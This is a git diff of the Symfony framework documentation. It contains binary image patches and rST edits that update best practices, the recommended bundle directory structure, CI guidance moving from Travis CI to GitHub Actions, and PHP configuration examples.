z!IwqXD_Y=CBd1Q?ZOIg$53{d)Mxo%*gMp%EQ~5>3snOL`dcNZX;mJ{J&YjiH!CAFM
zvqK`v!y~;)c?K_sC=uH`Gj~o3MpnG%%UZi1dCJu5ZQkR_C{|yI@7uxcJVA`l7q{HX
z<gA=cst1mH631<Yq!8m7{;)D`b=zgHIlWrOnmdjwz@HKv%~*q#so1w!TWcGaG7cLh
z*2~u@A0wEBp6&jn-mj{>Id{QwtKO#nM3~uq7sGyWBj3D3583D|S&7NxnpI)cEA@?S
z5D6WVe)WfJEl=5Be1umHrZ7cR2V)tZb0H}LIL&uGdC3FXRbg!}AGTp+3G*iP)B64G
zT-BT#GgoUF{<}J${3*ofJ#{MfRC@DLw;~}dE}IeMX$rCH$`pL_fRQ$Tr!$2wbyl>j
z-bjHkt|?pJt5je>MG%lx$yxHom&zHhF7!VY!`(#kON25Ul2?r#Fg*!Rryc0{6*>8B
z+bb61;NJB)6B<jrb31l5;<e6;t^5#jZq9wUvemh$?vKb%f{!igU%Bc6U;v&X0pR&J
zDrjR6o*jdNdsV^sKeUS@01yC(Ool_0es5E-9EL5Z!WJ}vK%w3B0HE%e2m+Cj-)MTN
z>sE@}K(%nsYq0`XFo+C5cpZdgx~=luGX{Os4ne`MviV<Y!DCY~`<(zl3@p}yy=rC%
z+CB>(vq8!LrQ-nmt@=*>(l}{x%?n(~xu3StE-+QYwe}g+@EK)!Vb*SnJc=43=C%Y9
zTPJHYkyACA9|Cpg;%axh|C2K9HneJk@hHF3QxQdV8_Fs0*34@hu5=q}y=+<DQTIyH
zB`rd4*j)0XcWlI`^g7aqXq{v*$E9ksYrQT-cEMwCj-H#TRKDGFrKOKv+&y1ENB>p`
z+&c;Yk{3cQ<^@&B0&Cje<smwjuw+>w@E(B>2{NF(TbKMak_W2|&y<Sf@zRyvFSr|!
z^F9lA2!u?f>+*;6r0ae>hR|@|-wgnALm&bbjU!7!w1LD@<e0CMMcw=KpXV<J0CRR*
zedif!ODFe5X#+(`KQ#=2cq)=x*j2R9%@rTZ%azQjk9y}4Lw8L8z$y+v`rTxJPEHz;
z-L%l#e1A{xTWV~^G#bvX>d(0($}!A89X^HFx4;7k>O_Vo-F$wDR;n=Ym*4I)l#2VO
zl>Pu|W6g%ajIfuB;}S_Ab~yRpFqWfm$6D59fjDP}*EHW_@Yu9}d_4|h{Dy&bR3k0*
zZ&V^J^)iP^pxxVQFGB!CCNIcP?+_9EQSW}Kq%(0>?M)5HJ}o;k;4&CE90zcu#TV@Z
z&U%dA&%;k14Tf^Mb8!H+t{nO9PaO6Vpe5FFsTlz}m_o(n3QN3GRSgIJ4+bKWr14>d
z0M$(EKT`He8M-H+?l;{!D=^SW298+4lKl|yIv?22%!QNb)6Y<eQAmpI3X&2hsAb!#
zFSj53x+llR^8NE-@Z)-1n=L)=3$Rc!-(K=}p{w%T$7H|oHK=nm$UJ#`*a!0CZ+q1M
zz^04V7Y0y^mSXg6OR>(7h?ac-0LZTFUF>2QFQ=<V^39<ty<x)d{>|r-nO`hk=6rWS
sZe+aRi%1#x{%58u2%2JfFC4w~M@EZu!`^?Rw9b|g99k(euLlJD7hTW&ssI20

literal 0
HcmV?d00001

diff --git a/_images/sources/security/security_events.dia b/_images/sources/security/security_events.dia
new file mode 100644
index 0000000000000000000000000000000000000000..0a8afa731799dc14758903a9bfb42fba53ab2002
GIT binary patch
literal 2566
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

literal 0
HcmV?d00001

diff --git a/_includes/service_container/_my_mailer.rst.inc b/_includes/service_container/_my_mailer.rst.inc
deleted file mode 100644
index 01eafdfe87a..00000000000
--- a/_includes/service_container/_my_mailer.rst.inc
+++ /dev/null
@@ -1,33 +0,0 @@
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            app.mailer:
-                class:        App\Mailer
-                arguments:    [sendmail]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="app.mailer" class="App\Mailer">
-                    <argument>sendmail</argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Mailer;
-
-        $container->register('app.mailer', Mailer::class)
-            ->addArgument('sendmail');
diff --git a/best_practices.rst b/best_practices.rst
index f43d4798452..5220d78e70b 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -130,7 +130,7 @@ Use Constants to Define Options that Rarely Change
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configuration options like the number of items to display in some listing rarely
-change. Instead of defining them as :ref:`service container parameters <configuration-parameters>`,
+change. Instead of defining them as :ref:`configuration parameters <configuration-parameters>`,
 define them as PHP constants in the related classes. Example::
 
     // src/Entity/Post.php
@@ -170,7 +170,7 @@ Use Autowiring to Automate the Configuration of Application Services
 
 :doc:`Service autowiring </service_container/autowiring>` is a feature that
 reads the type-hints on your constructor (or other methods) and automatically
-passes the correct services to each method, making unnecessary to configure
+passes the correct services to each method, making it unnecessary to configure
 services explicitly and simplifying the application maintenance.
 
 Use it in combination with :ref:`service autoconfiguration <services-autoconfigure>`
@@ -194,17 +194,20 @@ you'll need to configure services (or parts of them) manually.
 YAML is the format recommended to configure services because it's friendly to
 newcomers and concise, but Symfony also supports XML and PHP configuration.
 
-Use Annotations to Define the Doctrine Entity Mapping
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Attributes to Define the Doctrine Entity Mapping
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Doctrine entities are plain PHP objects that you store in some "database".
 Doctrine only knows about your entities through the mapping metadata configured
 for your model classes.
 
-Doctrine supports several metadata formats, but it's recommended to use
-annotations because they are by far the most convenient and agile way of setting
+Doctrine supports several metadata formats, but it's recommended to use PHP
+attributes because they are by far the most convenient and agile way of setting
 up and looking for mapping information.
 
+If your PHP version doesn't support attributes yet, use annotations, which is
+similar but requires installing some extra dependencies in your project.
+
 Controllers
 -----------
 
@@ -244,7 +247,7 @@ Use Dependency Injection to Get Services
 
 If you extend the base ``AbstractController``, you can only access to the most
 common services (e.g ``twig``, ``router``, ``doctrine``, etc.), directly from the
-container via ``$this->container->get()`` or ``$this->get()``.
+container via ``$this->container->get()``.
 Instead, you must use dependency injection to fetch services by
 :ref:`type-hinting action method arguments <controller-accessing-services>` or
 constructor arguments.
@@ -321,6 +324,8 @@ are two of the main tasks when handling forms. Both are too similar (most of the
 times, almost identical), so it's much simpler to let a single controller action
 handle both.
 
+.. _best-practice-internationalization:
+
 Internationalization
 --------------------
 
@@ -366,7 +371,7 @@ Use the ``auto`` Password Hasher
 
 The :ref:`auto password hasher <reference-security-encoder-auto>` automatically
 selects the best possible encoder/hasher depending on your PHP installation.
-Currently, it tries to use ``sodium`` by default and falls back to ``bcrypt``.
+Starting from Symfony 5.3, the default auto hasher is ``bcrypt``.
 
 Use Voters to Implement Fine-grained Security Restrictions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -398,8 +403,8 @@ Smoke Test your URLs
 
 In software engineering, `smoke testing`_ consists of *"preliminary testing to
 reveal simple failures severe enough to reject a prospective software release"*.
-Using :ref:`PHPUnit data providers <testing-data-providers>` you can define a
-functional test that checks that all application URLs load successfully::
+Using `PHPUnit data providers`_ you can define a functional test that
+checks that all application URLs load successfully::
 
     // tests/ApplicationAvailabilityFunctionalTest.php
     namespace App\Tests;
@@ -453,3 +458,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
diff --git a/bundles.rst b/bundles.rst
index bf5a144d4ce..ed194614c34 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -28,7 +28,6 @@ file::
         Symfony\Bundle\SecurityBundle\SecurityBundle::class => ['all' => true],
         Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
         Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
-        Symfony\Bundle\SwiftmailerBundle\SwiftmailerBundle::class => ['all' => true],
         Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
         Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
         // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index e80050e2fce..dec1e907ca7 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -22,8 +22,9 @@ interoperability standard for PHP namespaces and class names: it starts with a
 vendor segment, followed by zero or more category segments, and it ends with the
 namespace short name, which must end with ``Bundle``.
 
-A namespace becomes a bundle as soon as you add a bundle class to it. The
-bundle class name must follow these rules:
+A namespace becomes a bundle as soon as you add "a bundle class" to it (which is
+a class that extends :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`).
+The bundle class name must follow these rules:
 
 * Use only alphanumeric characters and underscores;
 * Use a StudlyCaps name (i.e. camelCase with an uppercase first letter);
@@ -63,35 +64,47 @@ configuration options (see below for some usage examples).
 Directory Structure
 -------------------
 
-The basic directory structure of an AcmeBlogBundle must read as follows:
+The following is the recommended directory structure of an AcmeBlogBundle:
 
 .. code-block:: text
 
     <your-bundle>/
-    ├─ AcmeBlogBundle.php
-    ├─ Controller/
-    ├─ README.md
-    ├─ LICENSE
-    ├─ Resources/
-    │   ├─ config/
-    │   ├─ doc/
-    │   │  └─ index.rst
-    │   ├─ translations/
-    │   ├─ views/
-    │   └─ public/
-    └─ Tests/
+    ├── config/
+    ├── docs/
+    │   └─ index.md
+    ├── public/
+    ├── src/
+    │   ├── Controller/
+    │   ├── DependencyInjection/
+    │   └── AcmeBlogBundle.php
+    ├── templates/
+    ├── tests/
+    ├── translations/
+    ├── LICENSE
+    └── README.md
+
+This directory structure requires to configure the bundle path to its root
+directory as follows::
+
+    class AcmeBlogBundle extends Bundle
+    {
+        public function getPath(): string
+        {
+            return \dirname(__DIR__);
+        }
+    }
 
 **The following files are mandatory**, because they ensure a structure convention
 that automated tools can rely on:
 
-* ``AcmeBlogBundle.php``: This is the class that transforms a plain directory
+* ``src/AcmeBlogBundle.php``: This is the class that transforms a plain directory
   into a Symfony bundle (change this to your bundle's name);
 * ``README.md``: This file contains the basic description of the bundle and it
   usually shows some basic examples and links to its full documentation (it
   can use any of the markup formats supported by GitHub, such as ``README.rst``);
 * ``LICENSE``: The full contents of the license used by the code. Most third-party
   bundles are published under the MIT license, but you can `choose any license`_;
-* ``Resources/doc/index.rst``: The root file for the Bundle documentation.
+* ``docs/index.md``: The root file for the Bundle documentation.
 
 The depth of subdirectories should be kept to a minimum for the most used
 classes and files. Two levels is the maximum.
@@ -107,19 +120,19 @@ and others are just conventions followed by most developers):
 ===================================================  ========================================
 Type                                                 Directory
 ===================================================  ========================================
-Commands                                             ``Command/``
-Controllers                                          ``Controller/``
-Service Container Extensions                         ``DependencyInjection/``
-Doctrine ORM entities (when not using annotations)   ``Entity/``
-Doctrine ODM documents (when not using annotations)  ``Document/``
-Event Listeners                                      ``EventListener/``
-Configuration (routes, services, etc.)               ``Resources/config/``
-Web Assets (CSS, JS, images)                         ``Resources/public/``
-Translation files                                    ``Resources/translations/``
-Validation (when not using annotations)              ``Resources/config/validation/``
-Serialization (when not using annotations)           ``Resources/config/serialization/``
-Templates                                            ``Resources/views/``
-Unit and Functional Tests                            ``Tests/``
+Commands                                             ``src/Command/``
+Controllers                                          ``src/Controller/``
+Service Container Extensions                         ``src/DependencyInjection/``
+Doctrine ORM entities                                ``src/Entity/``
+Doctrine ODM documents                               ``src/Document/``
+Event Listeners                                      ``src/EventListener/``
+Configuration (routes, services, etc.)               ``config/``
+Web Assets (CSS, JS, images)                         ``public/``
+Translation files                                    ``translations/``
+Validation (when not using annotations)              ``config/validation/``
+Serialization (when not using annotations)           ``config/serialization/``
+Templates                                            ``templates/``
+Unit and Functional Tests                            ``tests/``
 ===================================================  ========================================
 
 Classes
@@ -127,7 +140,7 @@ Classes
 
 The bundle directory structure is used as the namespace hierarchy. For
 instance, a ``ContentController`` controller which is stored in
-``Acme/BlogBundle/Controller/ContentController.php`` would have the fully
+``src/Controller/ContentController.php`` would have the fully
 qualified class name of ``Acme\BlogBundle\Controller\ContentController``.
 
 All classes and files must follow the :doc:`Symfony coding standards </contributing/code/standards>`.
@@ -149,11 +162,20 @@ standard Symfony autoloading instead.
 A bundle should also not embed third-party libraries written in JavaScript,
 CSS or any other language.
 
+Doctrine Entities/Documents
+---------------------------
+
+If the bundle includes Doctrine ORM entities and/or ODM documents, it's
+recommended to define their mapping using XML files stored in
+``Resources/config/doctrine/``. This allows to override that mapping using the
+:doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
+This is not possible when using annotations/attributes to define the mapping.
+
 Tests
 -----
 
 A bundle should come with a test suite written with PHPUnit and stored under
-the ``Tests/`` directory. Tests should follow the following principles:
+the ``tests/`` directory. Tests should follow the following principles:
 
 * The test suite must be executable with a simple ``phpunit`` command run from
   a sample application;
@@ -171,73 +193,59 @@ Continuous Integration
 
 Testing bundle code continuously, including all its commits and pull requests,
 is a good practice called Continuous Integration. There are several services
-providing this feature for free for open source projects. The most popular
-service for Symfony bundles is called `Travis CI`_.
-
-Here is the recommended configuration file (``.travis.yml``) for Symfony bundles,
-which test the two latest :doc:`LTS versions </contributing/community/releases>`
-of Symfony and the latest beta release:
-
-.. code-block:: yaml
-
-    language: php
-
-    cache:
-        directories:
-            - $HOME/.composer/cache/files
-            - $HOME/symfony-bridge/.phpunit
-
-    env:
-        global:
-            - PHPUNIT_FLAGS="-v"
-            - SYMFONY_PHPUNIT_DIR="$HOME/symfony-bridge/.phpunit"
-
-    matrix:
-        fast_finish: true
-        include:
-              # Minimum supported dependencies with the latest and oldest PHP version
-            - php: 7.2
-              env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0"
-            - php: 7.1
-              env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0"
-
-              # Test the latest stable release
-            - php: 7.1
-            - php: 7.2
-              env: COVERAGE=true PHPUNIT_FLAGS="-v --coverage-text"
-
-              # Test LTS versions. This makes sure we do not use Symfony packages with version greater
-              # than 2 or 3 respectively. Read more at https://github.com/symfony/lts
-            - php: 7.2
-              env: DEPENDENCIES="symfony/lts:^2"
-            - php: 7.2
-              env: DEPENDENCIES="symfony/lts:^3"
-
-              # Latest commit to master
-            - php: 7.2
-              env: STABILITY="dev"
-
-        allow_failures:
-              # Dev-master is allowed to fail.
-            - env: STABILITY="dev"
-
-    before_install:
-        - if [[ $COVERAGE != true ]]; then phpenv config-rm xdebug.ini || true; fi
-        - if ! [ -z "$STABILITY" ]; then composer config minimum-stability ${STABILITY}; fi;
-        - if ! [ -v "$DEPENDENCIES" ]; then composer require --no-update ${DEPENDENCIES}; fi;
-
-    install:
-        - composer update ${COMPOSER_FLAGS} --prefer-dist --no-interaction
-        - ./vendor/bin/simple-phpunit install
-
-    script:
-        - composer validate --strict --no-check-lock
-        # simple-phpunit is the PHPUnit wrapper provided by the PHPUnit Bridge component and
-        # it helps with testing legacy code and deprecations (composer require symfony/phpunit-bridge)
-        - ./vendor/bin/simple-phpunit $PHPUNIT_FLAGS
-
-Consider using the `Travis cron`_ tool to make sure your project is built even if
-there are no new pull requests or commits.
+providing this feature for free for open source projects, like `GitHub Actions`_
+and `Travis CI`_.
+
+A bundle should at least test:
+
+* The lower bound of their dependencies (by running ``composer update --prefer-lowest``);
+* The supported PHP versions;
+* All supported major Symfony versions (e.g. both ``4.x`` and ``5.x`` if
+  support is claimed for both).
+
+Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 4.4 and 5.x should
+have at least this test matrix:
+
+===========  ===============  ===================
+PHP version  Symfony version  Composer flags
+===========  ===============  ===================
+7.3          ``4.*``          ``--prefer-lowest``
+7.4          ``5.*``
+8.0          ``5.*``
+===========  ===============  ===================
+
+.. tip::
+
+    The tests should be run with the ``SYMFONY_DEPRECATIONS_HELPER``
+    env variable set to ``max[direct]=0``. This ensures no code in the
+    bundle uses deprecated features directly.
+
+    The lowest dependency tests can be run with this variable set to
+    ``disabled=1``.
+
+Require a Specific Symfony Version
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can use the special ``SYMFONY_REQUIRE`` environment variable together
+with Symfony Flex to install a specific Symfony version:
+
+.. code-block:: bash
+
+    # this requires Symfony 5.x for all Symfony packages
+    export SYMFONY_REQUIRE=5.*
+
+    # install Symfony Flex in the CI environment
+    composer global require --no-progress --no-scripts --no-plugins symfony/flex
+
+    # install the dependencies (using --prefer-dist and --no-progress is
+    # recommended to have a better output and faster download time)
+    composer update --prefer-dist --no-progress
+
+.. caution::
+
+    If you want to cache your Composer dependencies, **do not** cache the
+    ``vendor/`` directory as this has side-effects. Instead cache
+    ``$HOME/.composer/cache/files``.
 
 Installation
 ------------
@@ -254,10 +262,10 @@ Documentation
 
 All classes and functions must come with full PHPDoc.
 
-Extensive documentation should also be provided in the ``Resources/doc/``
+Extensive documentation should also be provided in the ``docs/``
 directory.
-The index file (for example ``Resources/doc/index.rst`` or
-``Resources/doc/index.md``) is the only mandatory file and must be the entry
+The index file (for example ``docs/index.rst`` or
+``docs/index.md``) is the only mandatory file and must be the entry
 point for the documentation. The
 :doc:`reStructuredText (rST) </contributing/documentation/format>` is the format
 used to render the documentation on the Symfony website.
@@ -494,10 +502,22 @@ The ``composer.json`` file should include at least the following metadata:
     This information is used by Symfony to load the classes of the bundle. It's
     recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
     and the location of the bundle's main class (relative to ``composer.json``)
-    as value. For example, if the main class is located in the bundle root
-    directory: ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "" } }``.
-    If the main class is located in the ``src/`` directory of the bundle:
-    ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "src/" } }``.
+    as value. As the main class is located in the ``src/`` directory of the bundle:
+
+    .. code-block:: json
+
+        {
+            "autoload": {
+                "psr-4": {
+                    "Acme\\BlogBundle\\": "src/"
+                }
+            },
+            "autoload-dev": {
+                "psr-4": {
+                    "Acme\\BlogBundle\\Tests\\": "tests/"
+                }
+            }
+        }
 
 In order to make it easier for developers to find your bundle, register it on
 `Packagist`_, the official repository for Composer packages.
@@ -507,15 +527,15 @@ Resources
 
 If the bundle references any resources (config files, translation files, etc.),
 don't use physical paths (e.g. ``__DIR__/config/services.xml``) but logical
-paths (e.g. ``@FooBundle/Resources/config/services.xml``).
+paths (e.g. ``@AcmeBlogBundle/config/services.xml``).
 
 The logical paths are required because of the bundle overriding mechanism that
 lets you override any resource/file of any bundle. See :ref:`http-kernel-resource-locator`
 for more details about transforming physical paths into logical paths.
 
 Beware that templates use a simplified version of the logical path shown above.
-For example, an ``index.html.twig`` template located in the ``Resources/views/Default/``
-directory of the FooBundle, is referenced as ``@Foo/Default/index.html.twig``.
+For example, an ``index.html.twig`` template located in the ``templates/Default/``
+directory of the AcmeBlogBundle, is referenced as ``@AcmeBlog/Default/index.html.twig``.
 
 Learn more
 ----------
@@ -529,5 +549,5 @@ Learn more
 .. _`Packagist`: https://packagist.org/
 .. _`choose any license`: https://choosealicense.com/
 .. _`valid license identifier`: https://spdx.org/licenses/
-.. _`Travis CI`: https://travis-ci.org/
-.. _`Travis cron`: https://docs.travis-ci.com/user/cron-jobs/
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
+.. _`Travis CI`: https://docs.travis-ci.com/
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index c24d076da14..198ac07450d 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -40,9 +40,11 @@ as integration of other related components:
 
     .. code-block:: php
 
-        $container->loadFromExtension('framework', [
-            'form' => true,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->enabled(true);
+        };
 
 Using the Bundle Extension
 --------------------------
@@ -64,7 +66,7 @@ can add some configuration that looks like this:
     .. code-block:: xml
 
         <!-- config/packages/acme_social.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:acme-social="http://example.org/schema/dic/acme_social"
@@ -81,12 +83,13 @@ can add some configuration that looks like this:
     .. code-block:: php
 
         // config/packages/acme_social.php
-        $container->loadFromExtension('acme_social', [
-            'twitter' => [
-                'client_id'     => 123,
-                'client_secret' => 'your_secret',
-            ],
-        ]);
+        use Symfony\Config\AcmeSocialConfig;
+
+        return static function (AcmeSocialConfig $acmeSocial) {
+            $acmeSocial->twitter()
+                ->clientId(123)
+                ->clientSecret('your_secret');
+        };
 
 The basic idea is that instead of having the user override individual
 parameters, you let the user configure just a few, specifically created,
@@ -330,7 +333,7 @@ As long as your bundle's configuration is located in the standard location
 (``YourBundle\DependencyInjection\Configuration``) and does not have
 a constructor it will work automatically. If you
 have something different, your ``Extension`` class must override the
-:method:`Extension::getConfiguration() <Symfony\\Component\\HttpKernel\\DependencyInjection\\Extension::getConfiguration>`
+:method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>`
 method and return an instance of your ``Configuration``.
 
 Supporting XML
@@ -412,7 +415,7 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
 .. code-block:: xml
 
     <!-- config/packages/acme_hello.xml -->
-    <?xml version="1.0" ?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme-hello="http://acme_company.com/schema/dic/hello"
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 2b6f9dbfe3f..a332d45141f 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -82,6 +82,11 @@ in case a specific other bundle is not registered::
 
         // process the configuration of AcmeHelloExtension
         $configs = $container->getExtensionConfig($this->getAlias());
+
+        // resolve config parameters e.g. %kernel.debug% to its boolean value
+        $resolvingBag = $container->getParameterBag();
+        $configs = $resolvingBag->resolveValue($configs);
+        
         // use the Configuration class to generate a config array with
         // the settings "acme_hello"
         $config = $this->processConfiguration(new Configuration(), $configs);
diff --git a/cache.rst b/cache.rst
index 008793d044d..2702001952e 100644
--- a/cache.rst
+++ b/cache.rst
